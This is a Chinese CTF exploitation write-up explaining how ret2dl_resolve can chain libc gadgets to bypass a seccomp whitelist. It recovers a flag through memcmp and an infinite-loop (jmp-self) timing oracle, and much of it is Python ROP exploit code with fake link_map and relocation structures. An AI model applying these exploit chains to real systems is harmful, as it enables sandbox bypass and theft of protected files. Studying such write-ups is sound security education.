前言
一个通过利用ret2dl_resolve bypass seccomp
的demo,主要有几点tips:
- 通过ret2dl_resolve达到任意地址跳转;
- 如何找到一个死循环hold住进程;
Detail
因为服务器是由下面代码启动的,所以我们无法infoleak
,只能考虑ret2dl_resolve.1
2
3
4def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait() # wait is important for exploit, beacause it can hold.
另一个难点在于程序启用了seccomp
,作为沙箱:
通过专门的工具seccomp-tools,我们可以把代码转换得更好读一点:1
2
3
4
5
6
7
8
9
10
11
12
13
14$ seccomp-tools demo
# line CODE JT JF K
# =================================
# 0000: 0x20 0x00 0x00 0x00000004 A = arch
# 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
# 0004: 0x15 0x04 0x00 0x00000001 if (A == open) goto 0009
# 0005: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0009
# 0006: 0x15 0x02 0x00 0x00000020 if (A == fstat) goto 0009
# 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
# 0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
# 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 0010: 0x06 0x00 0x00 0x00000000 return KILL
对于我们这个demo,只允许执行open、read
,并且是白名单模式,同时题目描述中说明了flag文件的位置。所以这道题的思路就是:1
open(flag) --> read(fd, buf, 0x100)
把flag中的内容读到.bss
段中,然后利用memcmp
来逐字节比较,最终得到flag。1
2定义函数:int memcmp (const void *s1, const void *s2, size_t n);
函数说明:memcmp()用来比较s1 和s2 所指的内存区间前n 个字符。
在此引发出两个问题:
- 1、在binary的gadget不够用,且无法得知libc的基址的时候,如何使用libc中的gadget?
- 2、在
memcmp
对比完之后如何得到结果?
对于第一个问题,我们可以使用ret2dl_resolve
解决,虽然它的本职是用来解析函数符号,但一个gadget在某个意义上来说也属于function
,所以我们还是能利用该方法解决,举一个例子,一般pop rdx的gadget在binary中比较难找到,在libc中比较好找。下面是调用read
的片段:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44# set rdi, rsi, rdx for read
pop_rdx_rsi_ret = 0x00000000001150c9 # libc 中的地址
goal_offset = pop_rdx_rsi_ret - libc.sym['__libc_start_main']
fake_link_map = faking_link_map(goal_offset,
bss_addr + 8 * 12 + 256 + 16 + 24,
bss_addr + 8 * 12
)
fake_rela = fake_Elf64_RELA(0x601fd0 - goal_offset)
fake_sym_addr = pelf.got["__libc_start_main"] - 8
link_map_addr = bss_addr + 8 * 12
fake_rela_addr = bss_addr + 8 * 12 + 256 + 16
flag_addr = pelf.bss() + 0x100
next_rop = bss_addr + 8 * 12 + 256 + 16 +24 + 16 # 下一条 ROP 的位置
payload3 = p64(0) * 3 + p64(pop_rdi_ret) + p64(fd)
payload3 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload3 += p64(0x100) + p64(flag_addr) # pop_rdx_rsi
payload3 += p64(pop_rsp_ppp_ret) + p64(next_rop) # return
payload3 += fake_link_map + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr)
payload3 += fake_rela + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr)
##############################
# call read
bss_addr = next_rop
goal_offset = libc.sym['read'] - libc.sym['__libc_start_main']
fake_link_map = faking_link_map(goal_offset,
bss_addr + 8 * 8 + 256 + 16 + 24,
bss_addr + 8 * 8
)
fake_rela = fake_Elf64_RELA(0x601fd0 - goal_offset)
fake_sym_addr = pelf.got["__libc_start_main"] - 8
link_map_addr = bss_addr + 8 * 8
fake_rela_addr = bss_addr + 8 * 8 + 256 + 16
next_rop = bss_addr + 8 * 8 + 256 + 16 + 24 +16
payload4 = p64(0) * 3
payload4 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload4 += p64(pop_rsp_ppp_ret) + p64(next_rop) # return
payload4 += fake_link_map + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr)
payload4 += fake_rela + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr)
如上,我们可以通过pop rsp; ppp ret
和计算好next_rop
将一个一个ROP连接起来。
对于第二个问题,我们知道大多函数的返回值都放在rax
,所以在使用memcmp判断两个字符串是否相等
的时候就间接需要判断if rax == 0
。而且因为我们程序没有输出,所以我们无法直接判断。在这种情况下,我们可以构造出可以使程序hold住的gadget,如进入到read
或者进入到死循环
。
JMP 0
在JMP指令中,jmp 0
能实现自身跳转到自身,也就相当于进入到了死循环。而jmp 0
的汇编代码就是0xfeeb
,也就是说我们要在代码段中找到\xeb\xfe
,然后控制ip跳转到该指令所在的地址,而这个字符串在libc中很好找。
这个例子中的gadget链是:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17open(flag)
|
|
read(fd, buf, 0x100) # 把flag文件中的内容读到bss段中的指定位置中去
|
|
memcmp(buf, guess_flag_addr, len) # guess flag addr 是自己猜测的flag所处的位置,在你构造ROP的时候可以得到
|
|
push rax ; pop rbx ; pop rbp ; pop r12 ; ret # rax --> rbx,r12设置成 0xfeeb 的地址
|
|
call qword ptr [r12+rbx*8] --> if rbx != 0 --> 错误地址,error,EOF
|
| if rbx == 0
|
JMP 0
关于read的文件描述符fd,通常是3,4,5。在我本地是5,但在远程是3.
另一个就是在经过调试的过程中,发现memcmp函数解析出来时并不会直接执行,而是将真正比较的_memcmp_sse4
地址放到rax
,然后期待call rax,但是_memcmp_sse4跟memcmp的相对地址可以得到,这也就是为什么下面解析memcmp的时候多加了0xdf880
。
接下来就是具体的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97libc = ELF('./new_libc_x64.so.6')
feeb = next(libc.search("\xeb\xfe"))
print("0xfeeb in: " + hex(feeb))
# ... open, read ROP
##############################
# call memcmp
bss_addr = next_rop
goal_offset = libc.sym['memcmp'] - libc.sym['__libc_start_main'] + 0xdf880
fake_link_map = faking_link_map(goal_offset,
bss_addr + 8 * 8 + 256 + 16 + 24,
bss_addr + 8 * 8
)
fake_rela = fake_Elf64_RELA(0x601fd0 - goal_offset)
fake_sym_addr = pelf.got["__libc_start_main"] - 8
link_map_addr = bss_addr + 8 * 8
fake_rela_addr = bss_addr + 8 * 8 + 256 + 16
next_rop = bss_addr + 8 * 8 + 256 + 16 + 24 +16 + 60
test_rax = 0x0000000000400825
payload6 = p64(0) * 3
payload6 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload6 += p64(pop_rsp_ppp_ret) + p64(next_rop)
payload6 += fake_link_map + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr)
payload6 += fake_rela + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr)
payload6 += (myflag + j).ljust(60, '\x00')
# ##############################
bss_addr = next_rop
call_r12 = 0x0000000000400989
push_rax_pop_rbx_pp_ret = 0x00000000000acb0e #: push rax ; pop rbx ; pop rbp ; pop r12 ; ret
goal_offset = push_rax_pop_rbx_pp_ret - libc.sym['__libc_start_main']
fake_link_map7 = faking_link_map(goal_offset,
bss_addr + 8 * 9 + 8 * 6 + 256 + 16 + 24 + 16 + 256 + 16 + 24,
bss_addr + 8 * 9 + 8 * 6 + 256 + 16 + 24 + 16
)
fake_rela7 = fake_Elf64_RELA(0x601fd0 - goal_offset)
fake_sym_addr7 = pelf.got["__libc_start_main"] - 8
link_map_addr = bss_addr + 8 * 9 + 8 * 6 + 256 + 16 + 24 + 16
fake_rela_addr7 = bss_addr + 8 * 9 + 8 * 6 + 256 + 16 + 24 + 16 + 256 + 16
next_rop = bss_addr + 8 * 9
payload7 = p64(0) * 3
payload7 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload7 += p64(0) + p64(next_rop)
payload7 += p64(call_r12) # r12 == next_rop
##############################
# call 0xfeeb
bss_addr = next_rop
goal_offset = feeb - libc.sym['__libc_start_main']
fake_link_map = faking_link_map(goal_offset,
bss_addr + 8 * 6 + 256 + 16 + 24,
bss_addr + 8 * 6
)
fake_rela = fake_Elf64_RELA(0x601fd0 - goal_offset)
fake_sym_addr = pelf.got["__libc_start_main"] - 8
link_map_addr = bss_addr + 8 *6
fake_rela_addr = bss_addr + 8 * 6 + 256 + 16
next_rop = bss_addr + 8 * 6 + 256 + 16 + 24 +16
pop2_ret = 0x00000000004009a0 # : pop r14 ; pop r15 ; ret
payload8 = p64(pop2_ret)
payload8 += p64(plt0) + p64(link_map_addr) + p64(rel_offset)
payload8 += p64(pop_rsp_ppp_ret) + p64(next_rop) # return
payload8 += fake_link_map + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr)
payload8 += fake_rela + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr)
######################
payload7_2 = fake_link_map7 + p64(0xdeadbeefdeadbeef) + p64(fake_rela_addr7)
payload7_2 += fake_rela7 + p64(0xdeadbeefdeadbeef) + p64(fake_sym_addr7)
# ... something
p.send(payload)
sleep(0.3)
try:
p.recv(3, timeout=3) # 这里注意使用 recv 而非 send
myflag += j
flag_len += 1
is_ok = True
print("flag: " + myflag)
p.close()
if j == '}':
print("over...")
raw_input()
break
except:
p.close()
syscall 黑魔法
在执行syscall的时候,会把返回地址放到rcx
中。
X86-64 system calls use syscall instruction. This instruction saves return address to rcx, and after that it loads rip from IA32_LSTAR MSR. I.e. rcx is immediately destroyed by syscall. This is the reason why rcx had to be replaced for system call ABI.
This same syscall instruction also saves rflags into r11, and then masks rflags using IA32_FMASK MSR. This is why r11 isn’t saved by the kernel.